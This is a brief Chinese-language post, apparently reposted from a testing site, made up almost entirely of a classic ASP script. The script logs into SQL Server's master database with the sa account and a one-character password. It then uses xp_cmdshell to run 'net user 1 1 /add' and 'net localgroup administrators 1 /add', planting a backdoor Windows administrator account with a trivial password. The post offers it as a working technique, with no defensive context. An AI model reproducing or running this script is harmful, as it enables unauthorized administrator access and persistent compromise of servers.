通过MS SQL 数据库SA帐号增加新用户至administrators组

<%
@#----数据库连接Start
  @#---二级域名名称
  Main_Domain="web" @#--域名格式为pclearcase/" target="_blank" >cc.net
  dim conn_Home
  dim conn_Homestr
  @#定义数据库类别，1为SQL数据库，0为Access数据库
  const IsSqlDataBase_Homestr = 1
  call conn_Home_init()
  sub conn_Home_init()
     if IsSqlDataBase_Homestr = 1 then
       @# 注此sql登陆需要有sa帐号和xp_cmdshell存储过程
    @#sql数据库连接参数：数据库名、用户密码、用户名、连接名（本地用local，外地用IP）
    Dim SqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName
    SqlDatabaseName = "Master"
    SqlPassword = "1"
    SqlUsername = "sa"
    SqlLocalName = "127.0.0.1"
    conn_HomeStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
      else
      DB = "/User_Database/DataBase/Shop_Manager.MDB" @#---数据库路径
    conn_HomeStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(db)
   end if
   Set conn_Home = Server.CreateObject("ADODB.Connection")
    on error resume next
       if err.number<>0 then
           err.clear
           set conn_Home=nothing
     Response.write "管理数据库连接出错！"
     Response.End
       else
     on error resume next
     conn_Home.open conn_Homestr
     if err then
              err.clear
              set conn_Home=nothing
              Response.write "管理数据库连接出错！"
              Response.End
           end if
       end if  
   on error goto 0
  end sub
 
  sub endconn_Home()
     on error resume next
      conn_Home.close
      set conn_Home=nothing
   on error goto 0
  end sub

@#----数据库连接End
Conn_Home.execute "Use Master "
   Conn_Home.execute "xp_cmdshell @#net user 1 1 /add@#"
   Conn_Home.execute "xp_cmdshell @#net localgroup administrators 1 /add@#"
  
%>

原文转自：http://www.ltesting.net